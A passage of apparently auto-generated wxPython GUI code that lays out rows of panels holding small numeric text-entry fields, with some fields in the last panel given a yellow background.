wx.TextCtrl(id=wxID_FRAME2TEXTCTRL67,\n name='textCtrl67', parent=self.panel10, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl67.SetMaxLength(4)\n self.textCtrl67.SetInsertionPoint(0)\n self.textCtrl67.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl68 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL68,\n name='textCtrl68', parent=self.panel10, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl68.SetMaxLength(4)\n self.textCtrl68.SetInsertionPoint(0)\n self.textCtrl68.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl69 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL69,\n name='textCtrl69', parent=self.panel10, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl69.SetMaxLength(4)\n self.textCtrl69.SetInsertionPoint(0)\n self.textCtrl69.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl70 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL70,\n name='textCtrl70', parent=self.panel10, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl70.SetMaxLength(4)\n self.textCtrl70.SetInsertionPoint(0)\n self.textCtrl70.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl71 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL71,\n name='textCtrl71', parent=self.panel10, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl71.SetMaxLength(4)\n self.textCtrl71.SetInsertionPoint(0)\n self.textCtrl71.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl72 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL72,\n name='textCtrl72', parent=self.panel10, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl72.SetMaxLength(4)\n self.textCtrl72.SetInsertionPoint(0)\n self.textCtrl72.SetMinSize(wx.Size(40, 24))\n\n self.panel11 = wx.Panel(id=wxID_FRAME2PANEL11, name='panel11',\n parent=self.panel1, pos=wx.Point(8, 224), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel11.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl73 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL73,\n name='textCtrl73', parent=self.panel11, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl73.SetMaxLength(4)\n self.textCtrl73.SetInsertionPoint(0)\n self.textCtrl73.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl74 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL74,\n name='textCtrl74', parent=self.panel11, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl74.SetMaxLength(4)\n self.textCtrl74.SetInsertionPoint(0)\n self.textCtrl74.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl75 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL75,\n name='textCtrl75', parent=self.panel11, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl75.SetMaxLength(4)\n self.textCtrl75.SetInsertionPoint(0)\n self.textCtrl75.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl76 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL76,\n name='textCtrl76', parent=self.panel11, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl76.SetMaxLength(4)\n self.textCtrl76.SetInsertionPoint(0)\n self.textCtrl76.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl77 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL77,\n name='textCtrl77', parent=self.panel11, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl77.SetMaxLength(4)\n self.textCtrl77.SetInsertionPoint(0)\n self.textCtrl77.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl78 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL78,\n name='textCtrl78', parent=self.panel11, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl78.SetMaxLength(4)\n self.textCtrl78.SetInsertionPoint(0)\n self.textCtrl78.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl79 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL79,\n name='textCtrl79', parent=self.panel11, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl79.SetMaxLength(4)\n self.textCtrl79.SetInsertionPoint(0)\n self.textCtrl79.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl80 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL80,\n name='textCtrl80', parent=self.panel11, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl80.SetMaxLength(4)\n self.textCtrl80.SetInsertionPoint(0)\n self.textCtrl80.SetMinSize(wx.Size(40, 24))\n\n self.panel12 = wx.Panel(id=wxID_FRAME2PANEL12, name='panel12',\n parent=self.panel1, pos=wx.Point(8, 248), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel12.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl81 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL81,\n name='textCtrl81', parent=self.panel12, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl81.SetMaxLength(4)\n self.textCtrl81.SetInsertionPoint(0)\n self.textCtrl81.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl82 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL82,\n name='textCtrl82', parent=self.panel12, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl82.SetMaxLength(4)\n self.textCtrl82.SetInsertionPoint(0)\n self.textCtrl82.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl83 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL83,\n name='textCtrl83', parent=self.panel12, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl83.SetMaxLength(4)\n self.textCtrl83.SetInsertionPoint(0)\n self.textCtrl83.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl84 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL84,\n name='textCtrl84', parent=self.panel12, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl84.SetMaxLength(4)\n self.textCtrl84.SetInsertionPoint(0)\n self.textCtrl84.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl85 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL85,\n name='textCtrl85', parent=self.panel12, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl85.SetMaxLength(4)\n self.textCtrl85.SetInsertionPoint(0)\n self.textCtrl85.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl86 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL86,\n name='textCtrl86', parent=self.panel12, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl86.SetMaxLength(4)\n self.textCtrl86.SetInsertionPoint(0)\n self.textCtrl86.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl87 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL87,\n name='textCtrl87', parent=self.panel12, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl87.SetMaxLength(4)\n self.textCtrl87.SetInsertionPoint(0)\n self.textCtrl87.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl88 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL88,\n name='textCtrl88', parent=self.panel12, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl88.SetMaxLength(4)\n self.textCtrl88.SetInsertionPoint(0)\n self.textCtrl88.SetMinSize(wx.Size(40, 24))\n\n self.panel13 = wx.Panel(id=wxID_FRAME2PANEL13, name='panel13',\n parent=self.panel1, pos=wx.Point(8, 272), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel13.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl89 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL89,\n name='textCtrl89', parent=self.panel13, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl89.SetMaxLength(4)\n self.textCtrl89.SetInsertionPoint(0)\n self.textCtrl89.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl90 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL90,\n name='textCtrl90', parent=self.panel13, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl90.SetMaxLength(4)\n self.textCtrl90.SetInsertionPoint(0)\n self.textCtrl90.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl91 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL91,\n name='textCtrl91', parent=self.panel13, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl91.SetMaxLength(4)\n self.textCtrl91.SetInsertionPoint(0)\n self.textCtrl91.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl92 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL92,\n name='textCtrl92', parent=self.panel13, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl92.SetMaxLength(4)\n self.textCtrl92.SetInsertionPoint(0)\n self.textCtrl92.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl93 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL93,\n name='textCtrl93', parent=self.panel13, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl93.SetMaxLength(4)\n self.textCtrl93.SetInsertionPoint(0)\n self.textCtrl93.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl94 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL94,\n name='textCtrl94', parent=self.panel13, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl94.SetMaxLength(4)\n self.textCtrl94.SetInsertionPoint(0)\n self.textCtrl94.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl95 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL95,\n name='textCtrl95', parent=self.panel13, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl95.SetMaxLength(4)\n self.textCtrl95.SetInsertionPoint(0)\n self.textCtrl95.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl96 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL96,\n name='textCtrl96', parent=self.panel13, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl96.SetMaxLength(4)\n self.textCtrl96.SetInsertionPoint(0)\n self.textCtrl96.SetMinSize(wx.Size(40, 24))\n\n self.panel14 = wx.Panel(id=wxID_FRAME2PANEL14, name='panel14',\n parent=self.panel1, pos=wx.Point(8, 296), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel14.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl97 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL97,\n name='textCtrl97', parent=self.panel14, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl97.SetMaxLength(4)\n self.textCtrl97.SetInsertionPoint(0)\n self.textCtrl97.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl98 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL98,\n name='textCtrl98', parent=self.panel14, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl98.SetMaxLength(4)\n self.textCtrl98.SetInsertionPoint(0)\n self.textCtrl98.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl99 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL99,\n name='textCtrl99', parent=self.panel14, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl99.SetMaxLength(4)\n self.textCtrl99.SetInsertionPoint(0)\n self.textCtrl99.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl100 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL100,\n name='textCtrl100', parent=self.panel14, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl100.SetMaxLength(4)\n self.textCtrl100.SetInsertionPoint(0)\n self.textCtrl100.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl101 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL101,\n name='textCtrl101', parent=self.panel14, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl101.SetMaxLength(4)\n self.textCtrl101.SetInsertionPoint(0)\n self.textCtrl101.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl102 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL102,\n name='textCtrl102', parent=self.panel14, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl102.SetMaxLength(4)\n self.textCtrl102.SetInsertionPoint(0)\n self.textCtrl102.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl103 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL103,\n name='textCtrl103', parent=self.panel14, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl103.SetMaxLength(4)\n self.textCtrl103.SetInsertionPoint(0)\n self.textCtrl103.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl104 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL104,\n name='textCtrl104', parent=self.panel14, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl104.SetMaxLength(4)\n self.textCtrl104.SetInsertionPoint(0)\n self.textCtrl104.SetMinSize(wx.Size(40, 24))\n\n self.panel15 = wx.Panel(id=wxID_FRAME2PANEL15, name='panel15',\n parent=self.panel1, pos=wx.Point(8, 320), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel15.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl105 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL105,\n name='textCtrl105', parent=self.panel15, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl105.SetMaxLength(4)\n self.textCtrl105.SetInsertionPoint(0)\n self.textCtrl105.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl106 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL106,\n name='textCtrl106', parent=self.panel15, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl106.SetMaxLength(4)\n self.textCtrl106.SetInsertionPoint(0)\n self.textCtrl106.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl107 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL107,\n name='textCtrl107', parent=self.panel15, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl107.SetMaxLength(4)\n self.textCtrl107.SetInsertionPoint(0)\n self.textCtrl107.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl108 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL108,\n name='textCtrl108', parent=self.panel15, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl108.SetMaxLength(4)\n self.textCtrl108.SetInsertionPoint(0)\n self.textCtrl108.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl109 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL109,\n name='textCtrl109', parent=self.panel15, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl109.SetMaxLength(4)\n self.textCtrl109.SetInsertionPoint(0)\n self.textCtrl109.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl110 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL110,\n name='textCtrl110', parent=self.panel15, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl110.SetMaxLength(4)\n self.textCtrl110.SetInsertionPoint(0)\n self.textCtrl110.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl111 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL111,\n name='textCtrl111', parent=self.panel15, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl111.SetMaxLength(4)\n self.textCtrl111.SetInsertionPoint(0)\n self.textCtrl111.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl112 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL112,\n name='textCtrl112', parent=self.panel15, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl112.SetMaxLength(4)\n self.textCtrl112.SetInsertionPoint(0)\n self.textCtrl112.SetMinSize(wx.Size(40, 24))\n\n self.panel16 = wx.Panel(id=wxID_FRAME2PANEL16, name='panel16',\n parent=self.panel1, pos=wx.Point(8, 344), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel16.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl113 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL113,\n name='textCtrl113', parent=self.panel16, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl113.SetMaxLength(4)\n self.textCtrl113.SetInsertionPoint(0)\n self.textCtrl113.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl114 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL114,\n name='textCtrl114', parent=self.panel16, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl114.SetMaxLength(4)\n self.textCtrl114.SetInsertionPoint(0)\n self.textCtrl114.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl115 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL115,\n name='textCtrl115', parent=self.panel16, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl115.SetMaxLength(4)\n self.textCtrl115.SetInsertionPoint(0)\n self.textCtrl115.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl116 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL116,\n name='textCtrl116', parent=self.panel16, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl116.SetMaxLength(4)\n self.textCtrl116.SetInsertionPoint(0)\n self.textCtrl116.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl117 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL117,\n name='textCtrl117', parent=self.panel16, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl117.SetMaxLength(4)\n self.textCtrl117.SetInsertionPoint(0)\n self.textCtrl117.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl118 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL118,\n name='textCtrl118', parent=self.panel16, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl118.SetMaxLength(4)\n self.textCtrl118.SetInsertionPoint(0)\n self.textCtrl118.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl119 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL119,\n name='textCtrl119', parent=self.panel16, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl119.SetMaxLength(4)\n self.textCtrl119.SetInsertionPoint(0)\n self.textCtrl119.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl120 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL120,\n name='textCtrl120', parent=self.panel16, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl120.SetMaxLength(4)\n self.textCtrl120.SetInsertionPoint(0)\n self.textCtrl120.SetMinSize(wx.Size(40, 24))\n\n self.panel17 = wx.Panel(id=wxID_FRAME2PANEL17, name='panel17',\n parent=self.panel1, pos=wx.Point(8, 368), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel17.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl121 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL121,\n name='textCtrl121', parent=self.panel17, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl121.SetMaxLength(4)\n self.textCtrl121.SetInsertionPoint(0)\n self.textCtrl121.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl122 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL122,\n name='textCtrl122', parent=self.panel17, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl122.SetMaxLength(4)\n self.textCtrl122.SetInsertionPoint(0)\n self.textCtrl122.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl123 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL123,\n name='textCtrl123', parent=self.panel17, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl123.SetMaxLength(4)\n self.textCtrl123.SetInsertionPoint(0)\n self.textCtrl123.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl124 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL124,\n name='textCtrl124', parent=self.panel17, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl124.SetMaxLength(4)\n self.textCtrl124.SetInsertionPoint(0)\n self.textCtrl124.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl125 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL125,\n name='textCtrl125', parent=self.panel17, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl125.SetMaxLength(4)\n self.textCtrl125.SetInsertionPoint(0)\n self.textCtrl125.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl126 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL126,\n name='textCtrl126', parent=self.panel17, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl126.SetMaxLength(4)\n self.textCtrl126.SetInsertionPoint(0)\n self.textCtrl126.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl127 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL127,\n name='textCtrl127', parent=self.panel17, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl127.SetMaxLength(4)\n self.textCtrl127.SetInsertionPoint(0)\n self.textCtrl127.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl128 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL128,\n name='textCtrl128', parent=self.panel17, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl128.SetMaxLength(4)\n self.textCtrl128.SetInsertionPoint(0)\n self.textCtrl128.SetMinSize(wx.Size(40, 24))\n\n self.panel18 = wx.Panel(id=wxID_FRAME2PANEL18, name='panel18',\n parent=self.panel1, pos=wx.Point(8, 392), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel18.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl129 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL129,\n name='textCtrl129', parent=self.panel18, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl129.SetMaxLength(4)\n self.textCtrl129.SetInsertionPoint(0)\n self.textCtrl129.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl130 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL130,\n name='textCtrl130', parent=self.panel18, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl130.SetMaxLength(4)\n self.textCtrl130.SetInsertionPoint(0)\n self.textCtrl130.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl131 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL131,\n name='textCtrl131', parent=self.panel18, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl131.SetMaxLength(4)\n self.textCtrl131.SetInsertionPoint(0)\n self.textCtrl131.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl132 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL132,\n name='textCtrl132', parent=self.panel18, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl132.SetMaxLength(4)\n self.textCtrl132.SetInsertionPoint(0)\n self.textCtrl132.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl133 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL133,\n name='textCtrl133', parent=self.panel18, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl133.SetMaxLength(4)\n self.textCtrl133.SetInsertionPoint(0)\n self.textCtrl133.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl134 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL134,\n name='textCtrl134', parent=self.panel18, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl134.SetMaxLength(4)\n self.textCtrl134.SetInsertionPoint(0)\n self.textCtrl134.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl135 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL135,\n name='textCtrl135', parent=self.panel18, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl135.SetMaxLength(4)\n self.textCtrl135.SetInsertionPoint(0)\n self.textCtrl135.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl136 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL136,\n name='textCtrl136', parent=self.panel18, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl136.SetMaxLength(4)\n self.textCtrl136.SetInsertionPoint(0)\n self.textCtrl136.SetMinSize(wx.Size(40, 24))\n\n self.panel19 = wx.Panel(id=wxID_FRAME2PANEL19, name='panel19',\n parent=self.panel1, pos=wx.Point(8, 416), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel19.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl137 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL137,\n name='textCtrl137', parent=self.panel19, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl137.SetMaxLength(4)\n self.textCtrl137.SetInsertionPoint(0)\n self.textCtrl137.SetMinSize(wx.Size(40, 24))\n self.textCtrl137.SetBackgroundStyle(wx.BG_STYLE_SYSTEM)\n self.textCtrl137.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl138 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL138,\n name='textCtrl138', parent=self.panel19, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl138.SetMaxLength(4)\n self.textCtrl138.SetInsertionPoint(0)\n self.textCtrl138.SetMinSize(wx.Size(40, 24))\n self.textCtrl138.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl139 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL139,\n name='textCtrl139', parent=self.panel19, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl139.SetMaxLength(4)\n self.textCtrl139.SetInsertionPoint(0)\n self.textCtrl139.SetMinSize(wx.Size(40, 24))\n self.textCtrl139.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl140 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL140,\n name='textCtrl140', parent=self.panel19, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl140.SetMaxLength(4)\n self.textCtrl140.SetInsertionPoint(0)\n self.textCtrl140.SetMinSize(wx.Size(40, 24))\n self.textCtrl140.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl141 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL141,\n name='textCtrl141', parent=self.panel19, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl141.SetMaxLength(4)\n self.textCtrl141.SetInsertionPoint(0)\n self.textCtrl141.SetMinSize(wx.Size(40, 24))\n self.textCtrl141.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl142 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL142,\n name='textCtrl142', parent=self.panel19, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl142.SetMaxLength(4)\n self.textCtrl142.SetInsertionPoint(0)\n self.textCtrl142.SetMinSize(wx.Size(40, 24))\n self.textCtrl142.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl143 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL143,\n name='textCtrl143', parent=self.panel19, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl143.SetMaxLength(4)\n self.textCtrl143.SetInsertionPoint(0)\n self.textCtrl143.SetMinSize(wx.Size(40, 24))\n 